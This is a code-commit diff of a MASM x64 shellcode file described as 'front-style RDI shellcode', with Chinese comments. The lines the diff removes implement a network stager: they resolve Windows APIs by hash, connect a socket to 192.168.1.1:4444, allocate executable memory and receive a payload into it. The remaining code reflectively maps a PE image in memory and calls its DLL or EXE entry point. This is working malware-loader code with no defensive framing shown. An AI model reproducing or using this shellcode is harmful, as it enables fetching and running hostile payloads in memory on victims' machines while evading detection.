|
3 | 3 | ; Language: MASM |
4 | 4 | ; Details: front-style RDI shellcode |
5 | 5 | ;---------------------------------------------------------------------------------- |
| 6 | + |
6 | 7 | .code |
7 | 8 |
|
8 | 9 | main proc |
9 | 10 | |
10 | | - ; 1. 清除方向标志并对齐栈指针,确保符合Windows x64调用约定 |
11 | | - cld |
12 | | - |
13 | | - ; 保存非易失性寄存器 |
14 | | - push rbx |
15 | | - push rbp |
16 | | - push rsi |
17 | | - push rdi |
18 | | - push r12 |
19 | | - push r13 |
20 | | - push r14 |
21 | | - push r15 |
22 | | - |
23 | | - ; [rbp+8] = 旧DOS头地址(基址) |
24 | | - ; [rbp+16] = 新DOS头地址(基址) |
25 | | - ; [rbp+24] = 新PE头地址 |
26 | | - mov rbp,rsp |
27 | | - sub rsp,24 |
28 | | - |
29 | | - ; 2.加载ws2_32.dll库 |
30 | | - push 0 ; 为了对齐 |
31 | | - mov rax, '23_2sw' ; 构造字符串'ws2_32\0' |
32 | | - push rax ; 将字符串压栈,此时RSP指向"ws2_32\0"的地址 |
33 | | - mov rcx, rsp ; RCX = 字符串地址,作为LoadLibraryA的参数 |
34 | | - mov r10, 56590AE9h ; kernel32.dll+LoadLibraryA的哈希值 |
35 | | - call GetProcAddressByHash |
36 | | - |
37 | | - ; 3.调用WSAStartup函数 |
38 | | - sub rsp, 400+8 ; WSAData结构体大小400字节,8个字节对齐 |
39 | | - mov r13,rsp ; R13保存WSAData结构指针 |
40 | | - mov r12,0101A8C05C110002h ; 构造sockaddr_in结构:192.168.1.1:4444, AF_INET |
41 | | - push r12 ; 压栈保存sockaddr_in结构 |
42 | | - mov r12,rsp ; R12保存sockaddr_in结构指针 |
43 | | - mov rdx,r13 ; RDX = WSAData结构指针 |
44 | | - push 0101h ; Winsock 1.1版本 |
45 | | - pop rcx ; RCX = 0101h |
46 | | - mov r10,4645344Ch ; ws2_32.dll+WSAStartup的哈希值 |
47 | | - call GetProcAddressByHash |
48 | | - |
49 | | - test eax,eax |
50 | | - jnz failure |
51 | | - |
52 | | - ; 4.调用WSASocketA函数 |
53 | | - mov rcx,2 ; af=AF_INET (IPv4) |
54 | | - mov rdx,1 ; af=SOCK_STREAM (TCP) |
55 | | - xor r8,r8 ; protocol = 0 (默认) |
56 | | - xor r9,r9 ; lpProtocolInfo = NULL |
57 | | - push r9 ; dwFlags = 0 |
58 | | - push r9 ; g=0 |
59 | | - mov r10,0B83D505Ah ; ws2_32.dll+WSASocketA的哈希值 |
60 | | - call GetProcAddressByHash |
61 | | - xchg rdi,rax ; 保存套接字句柄到RDI |
62 | | - |
63 | | - ; 6.调用connect函数 |
64 | | - mov rcx,rdi ; 套接字句柄 |
65 | | - mov rdx,r12 ; sockaddr_in结构指针 |
66 | | - push 16 ; sockaddr_in结构长度 |
67 | | - pop r8 ; R8 = 16 |
68 | | - mov r10,6AF3406Dh ; ws2_32.dll+connect的哈希值 |
69 | | - call GetProcAddressByHash |
70 | | - |
71 | | - test eax,eax |
72 | | - jnz failure |
73 | | - |
74 | | - ; 7. 清栈 |
75 | | - add rsp, ((400+8)+(5*8)+(4*32)) |
76 | | - |
77 | | - ; 8.调用VirtualAlloc分配内存空间用于存储Shellcode |
78 | | - xor rcx, rcx ; lpAddress = NULL(由系统选择地址) |
79 | | - mov rdx, 00400000h ; dwSize = 4MB(分配内存大小) |
80 | | - mov r8, 1000h ; flAllocationType = MEM_COMMIT(提交物理内存) |
81 | | - mov r9, 40h ; flProtect = PAGE_EXECUTE_READWRITE(可读可写可执行) |
82 | | - mov r10, 0FBFA86AFh ; kernel32.dll+VirtualAlloc 的哈希值 |
83 | | - call GetProcAddressByHash |
84 | | - add rsp,32 |
85 | | - |
86 | | -read_pre: |
87 | | - xchg rax,rbx ; RBX = 分配的内存基地址 |
88 | | - mov qword ptr [rbp+8],rbx ; 保存基地址 |
89 | | -read_more: |
90 | | - mov rcx,rdi ; 套接字句柄 |
91 | | - mov rdx,rbx ; 当前写入指针 |
92 | | - mov r8,8192 ; 每次读取8192字节 |
93 | | - xor r9,r9 ; flags = 0 |
94 | | - mov r10,0F1606037h ; ws2_32.dll+recv的哈希值 |
95 | | - call GetProcAddressByHash |
96 | | - add rsp, 32 ; 清理影子空间 |
97 | | - |
98 | | - add rbx,rax ; 移动写入指针 |
99 | | - test eax,eax ; 检查接收字节数 |
100 | | - jnz read_more ; 继续接收直到返回0 |
101 | | - |
102 | 11 | ;------------------------------------------------------------------- |
103 | 12 | ; [rbp+8] = 旧DOS头地址(基址) |
104 | 13 | ; [rbp+16] = 新DOS头地址(基址) |
105 | 14 | ; [rbp+24] = 新NT头地址 |
106 | 15 | ; LoadPEIntoMemory64 |
107 | 16 | ;------------------------------------------------------------------- |
| 17 | + push rax ; 对齐 |
| 18 | + |
108 | 19 | ; 获取 SizeOfImage |
109 | 20 | mov rax, [rbp+8] ; 旧DOS头地址 |
110 | 21 | mov r12d, dword ptr [rax+3Ch] ; PE头RVA(原文件) |
@@ -372,46 +283,29 @@ get_next_tlscallback: |
372 | 283 | ; GoToEntry |
373 | 284 | ;------------------------------------------------------------------- |
374 | 285 | entry: |
375 | | - mov rsi, [rbp+24] ; 获取PE头地址 |
376 | | - mov ax, word ptr [rsi+16h] ; 读取Characteristics字段 |
377 | | - test ax, 2000h ; 检查是否为DLL (0x2000) |
378 | | - jz is_exe ; 非DLL则跳转EXE处理 |
| 286 | + mov rsi, [rbp+24] ; 获取PE头地址 |
| 287 | + mov ax, word ptr [rsi+16h] ; 读取Characteristics字段 |
| 288 | + test ax, 2000h ; 检查是否为DLL (0x2000) |
| 289 | + jz is_exe ; 非DLL则跳转EXE处理 |
379 | 290 |
|
380 | 291 | sub rsp,32 |
381 | | - mov ebx,dword ptr [rsi + 28h] ; 调用DLL入口点 RVA |
382 | | - add rbx,[rbp+16] ; 调用DLL入口点 VA |
| 292 | + mov ebx,dword ptr [rsi + 28h] ; 调用DLL入口点 RVA |
| 293 | + add rbx,[rbp+16] ; 调用DLL入口点 VA |
383 | 294 | mov rcx,[rbp+16] |
384 | 295 | mov rdx,1 |
385 | 296 | xor r8d,r8d |
386 | 297 | call rbx |
387 | 298 |
|
388 | | - add rsp,32 |
389 | | - jmp restore |
| 299 | + add rsp,40 |
| 300 | + ret |
390 | 301 |
|
391 | 302 | is_exe: |
392 | | - mov ebx,dword ptr [rsi + 28h] ; 调用EXE入口点 RVA |
393 | | - add rbx,[rbp+16] ; 调用EXE入口点 VA |
| 303 | + mov ebx,dword ptr [rsi + 28h] ; 调用EXE入口点 RVA |
| 304 | + add rbx,[rbp+16] ; 调用EXE入口点 VA |
394 | 305 | call rbx |
395 | | - |
396 | | - |
397 | | -;------------------------------------------------------------------- |
398 | | -; 恢复到调用ReflectiveLoader之前的栈空间和寄存器状态 |
399 | | -;------------------------------------------------------------------- |
400 | | -restore: |
401 | | - add rsp,24 |
402 | | - pop r15 |
403 | | - pop r14 |
404 | | - pop r13 |
405 | | - pop r12 |
406 | | - pop rdi |
407 | | - pop rsi |
408 | | - pop rbp |
409 | | - pop rbx |
410 | | - ret |
411 | | - |
412 | | -failure: |
413 | | - mov r10,0DE2D94D9h |
414 | | - call GetProcAddressByHash |
| 306 | + pop rax ; 清除对齐值 |
| 307 | + ret |
| 308 | + |
415 | 309 | main endp |
416 | 310 |
|
417 | 311 | GetProcAddressByHash proc |
|
0 commit comments